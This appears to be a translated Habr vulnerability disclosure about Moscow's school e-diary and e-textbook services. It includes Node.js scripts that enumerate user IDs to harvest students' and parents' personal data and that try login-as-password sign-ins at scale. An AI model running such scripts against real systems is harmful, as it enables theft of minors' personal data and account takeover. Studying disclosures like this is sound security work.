Уразливість в електронному щоденнику або як вкрасти персональні дані 2-х мільйонів користувачів

попередній статті я розповів про особливість генерації логінів і паролів електронному щоденнику, розробленому ДИТ'ом. Використовуючи її, хто завгодно міг отримати доступ до чужого акаунту і після переглянути оцінки учня, змінити оцінки учнів від імені вчителя, отримати персональні дані власника аккаунта або вчинити будь-які інші дії від імені користувачів. Всім вчителям змінили паролі, але залишилися учні та батьки зі старими паролями.

У цій статті піде мова про баги/уразливість в тому ж проекті.

З огляду на вище описану особливість генерації логінов, можна було зробити висновок, що щоденник розроблявся не дуже відповідально. Тому я вирішив спробувати поламати його ще раз. Вся система складалася з фронтенда, який був написаний на Angular. Він отримував інформацію з допомогою API щоденника, в якому були знайдені вразливості/баги.

Баг 1
При отриманні даних, відправлявся запит за адресою dnevnik.mos.ru/lms/api/users/{user-id}. До запиту також треба було додати токен, ідентифікатор профілю у вигляді header'ів для отримання відповіді. Відповідь повертався у форматі JSON і складався з: прізвища, імені, по батькові, пошти, телефону, прав користувача (учень/вчитель/батьки), дати народження, статі, списку профілів, прив'язаних до користувача, і логіна.

Напевно, розробники хотіли, щоб користувач з правами учня міг отримувати дані лише про себе, а вчитель про себе і про учнів, але вийшло, що користувач з будь привілеєм міг отримувати інформацію про будь-якому іншому користувача. Вийшов короткий скрипт на Node.

Експлуатація
var fs = require('fs');
var request = require('request');
var i = 1;

var interval = setInterval(function() {
parse(i);
i += 10;
if (i > lastId) // ідентифікатор користувача, на якому необхідно закінчити
clearInterval(interval);
}, 200);

var parse = function (i) {
for (var j = i; j < i + 10; ++j)
request.get({url: "https://dnevnik.mos.ru/lms/api/users/" + j, headers: {'Accept': 'application/vnd.api.v2+json', 'Auth-Token': '********************************', 'Profile-Id': '*****'}}, function(err, res, body) {
if (err)
return console.error('upload failed:', err);
fs.appendFileSync('out.txt', body + '\n');
});
};


Як ви вже, я думаю, помітили, даних було дуже багато, і, швидше за все, власник облікового запису був би задоволений, якби його телефон, пошту та персональні дані отримав би лівий людина, який міг би використовувати їх не для благих цілей.

Баг 2
Після знаходження першого бага я отримав логіни невеликої кількості користувачів і вирішив перевірити, змінили чи всім користувачам паролі (раніше логіни і паролі всіх користувачів був однаковими). Однак, після випадку з перебуванням особливості, розробники зробили для учнів і батьків авторизацію через портал державних послуг — для того, щоб зайти в щоденник, треба було: авторизуватися на порталі державних послуг, один раз (при першій авторизації) ввести логін, пароль від щоденника і натиснути кнопку «Увійти». При авторизації нас перенаправляли МРКО (ще один електронний щоденник від ДИТ'a або МЦКО) з логіном і паролем, там нам видавали токен і перенаправляли в щоденник (про який зараз йде мова). З-за цього авторизація була довгою, і я вирішив піти іншим шляхом.

Я згадав про ще одному проекті ДИТ'а, пов'язаних з утворенням, в якому використовувалася авторизація за допомогою логінів і паролів від МРКО і щоденника, — система електронних підручників. Через «Підручник» авторизація відбувалася швидше, ніж через МРКО, і ще одна чудова особливість була в «Підручнику». Вона полягала в тому, що при авторизації через «Підручник» видавали маркер, який можна було використовувати і в щоденнику, і в «Підручнику».

Експлуатація
var request = require('request');
var fs = require('fs');
var crypto = require('crypto');

var md5 = function(str) {
return crypto.createHash('md5').update(str).digest("hex");
};

var min = function(a, b) {
if (a > b) return b;
else return a;
}

var authorize = function(login, pass) {
request({
uri: 'https://uchebnik.mos.ru/api/sessions',
method: 'POST',
json: {"login": login, "second_factor":"", "password_hash": md5(pass + "4f8202ccd76210b47b40627c621daa56"), "password_hash2": md5(pass)},
headers : {
'Accept' : 'application/json',
'Content-Type' : 'application/json'
}
}, function (error, response, body) {
if (!error) {
if (body.type != null && body.type == 'authentication_error')
return 0;
else {
console.log("Bad login was found :)");
fs.appendFile('auth.txt', JSON.stringify(body) + '\n');
}
} else {
return console.error("Error: ", error);
}
});
};

fs.readFile('out.txt', function read(err, data) {
if (err)
throw err;
else
console.log("File was read");
data = data.toString();
var arr = data.split('\n');
var i = 0;
var interval = setInterval(function() {
if (i > arr.length)
clearInterval(interval);
for (var j = i; j < min(i + 1, arr.length); j++) {
var login;
try {
login = JSON.parse(arr[i]).gusoev_login;
} catch(e) {}
authorize(login, login);
}
i += 10;
}, 100);
});


Після перевірки збігу логінів і паролів на невеликій кількості користувачів з'ясувалося, що у ~15% користувачів логіни і паролі однакові. Також після випадку, описаного статті, деяким учням видали новий пароль, що складається з дати народження. Наприклад, якщо ваша дата народження була 1 лютого 2000 року, тоді ваш пароль міг би бути — 01022000. Я перевірив ще є паролі такі ж, що й дати народження, і у будь-яких користувачів до нещастя були.

З цього можна зробити висновок, що про безпеку акаунтів учнів і батьків піклуються менше, ніж про аккаунти вчителів. Начебто, зрозуміло чому — якщо отримають доступ до аккаунту вчителя, збиток буде більше, але учні та батьки теж не будуть задоволені, якщо їхні оцінки, телефон, персональні дані отримають люди, що не повинні мати можливість їх отримати.

Баг 3
З того, що МРКО може перевірити зі свого сервера, вірний логін, пароль від щоденника (про який йде мова), а «Підручник» може перевірити логін, пароль від МРКО і щоденника або видати маркер, який буде працювати не тільки в «Підручнику», але і в щоденнику, можна зробити припущення, що всі три ці системи зберігають дані в одній базі, і з-за чого виникають проблеми. Пізніше я з'ясував, що щоденник видає у списках профілі профілі від щоденника і від МРКО — до одного «живому» користувачеві може бути прив'язано кілька облікових записів, і один «живий» користувач може мати обліковий запис і у МРКО, і в щоденнику. Для кожного облікового запису є логін, пароль, які можна використовувати в тій системі, для якої було створено обліковий запис, або в «Підручнику».

Третій баг був би неробочим, якби токен від «Підручника» не можна було використовувати для авторизації в щоденнику. Він полягає в тому, що при авторизації в систему («Підручник») токен прив'язується до першої облікового запису у списку профілів користувача. З-за цього, якщо перша обліковий запис була створена для щоденника, то токен можна використовувати для отримання доступу в щоденник. У підсумку, знаючи логін, пароль однієї людини від МРКО, можна було отримати доступ до його облікового запису в щоденнику.

Баг 4
Після знаходження трьох вище описаних вразливостей/багів, я написав в тех. підтримку, і їх закрили. Четвертий баг майже такий же, що і перший. Він полягає в тому, що користувач з будь-якими правами може отримати дані користувача будь-якого користувача, відправивши запит на uchebnik.mos.ru/api/users/{user-id} з токеном і ідентифікатором профілю.

Четвертий баг і особливість генерації логінів і паролів закривати не хотіли, але думаю, що після цієї публікації, хоча б четвертий виправлять.
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.